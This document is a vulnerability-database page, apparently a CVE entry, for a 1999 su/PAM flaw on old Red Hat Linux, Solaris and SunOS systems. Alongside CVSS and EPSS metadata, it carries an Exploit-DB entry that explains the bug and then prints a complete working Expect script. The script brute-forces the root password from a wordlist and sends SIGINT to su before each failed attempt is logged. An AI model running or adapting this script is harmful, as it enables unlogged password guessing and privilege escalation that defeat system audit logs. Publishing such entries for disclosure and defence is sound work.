Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19255
Publication date : 1999-06-08 22h00 +00:00
Author : Tani Hosokawa
EDB Verified : Yes
source: https://www.securityfocus.com/bid/320/info
A vulnerability in PAM allows local malicious users to brute force passwords via the su command without any logging of their activity.
su is a command that allows users to change identifies by supplying a password. If the password is correct su immediately executes a new shell with the identity of the nw user, otherwise it sleeps for a second and then logs an authentication failure to syslog.
Since su sleeps before logging the failure and does not trap SIGINT a user can try a password and if su does not immediately give him a new shell and before one second hits control-c his attempt will not be logged. He can automate the process to brute force passwords.
Its been tested using sh-utils-1.16-14 and pam-0.64-3.
#!/usr/local/bin/expect --
# A quick little sploit for a quick round of beers :)
[email protected]
#
# This was something that had been floating around for some time.
# It might have been bitwrior that pointed out some of the oddities
# but I don't remember.
#
# It was mentioned to Casper Dik at some point and it was fixed in
# the next rev of Solaris (don't remember if the fix took place in
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
#
# What happened was that the Solaris 2.5 and below systems
# had /bin/su written in the following fashion :
#
# attempt to SU
# |
# succesfull
# / \
# Y N
# | |
# exec cmd sleep
# |
# syslog
# |
# exit
#
# There were a few problems here - not the least of which was that they
# did not bother to trap signals. Thus, if you noticed su taking a while
# you most likely entered an incorrect password and were in the
# sleep phase.
#
# Sending a SIGINT by hitting ctrl-c would kill the process
# before the syslog of the invalid attempt occured.
#
# In current versions of /bin/su they DO trap signals.
#
# It should be noted that this is a fairly common coding problem that
# people will find in a lot of "security related" programs.
#
# .mudge
if { ($argc < 1) || ($argc > 1) } {
puts "correct usage is : $argv0 pwfile"
exit
}
set pwfile [open $argv "r"]
log_user 0
foreach line [split [read $pwfile] "\n"] {
spawn su root
expect "Password:"
send "$line\n"
# you might need to tweak this but it should be ok
set timeout 2
expect {
"#" { puts "root password is $line\n" ; exit }
}
set id [ exp_pid ]
exec kill -INT $id
}
Products Mentioned
Configuraton 0
Redhat>>Linux >> Version 2.0
Redhat>>Linux >> Version 2.1
Redhat>>Linux >> Version 3.0.3
Redhat>>Linux >> Version 4.0
Redhat>>Linux >> Version 4.1
Redhat>>Linux >> Version 4.2
Redhat>>Linux >> Version 5.0
Redhat>>Linux >> Version 5.1
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.1
Redhat>>Linux >> Version 6.1
Redhat>>Linux >> Version 6.1
Sun>>Solaris >> Version *
Sun>>Solaris >> Version 1.1.3
Sun>>Solaris >> Version 1.1.4
Sun>>Solaris >> Version 2.4
Sun>>Sunos >> Version -
Sun>>Sunos >> Version 4.1.3
Sun>>Sunos >> Version 4.1.4
Sun>>Sunos >> Version 5.0
Sun>>Sunos >> Version 5.1
Sun>>Sunos >> Version 5.2
Sun>>Sunos >> Version 5.3
Sun>>Sunos >> Version 5.4
Sun>>Sunos >> Version 5.5
References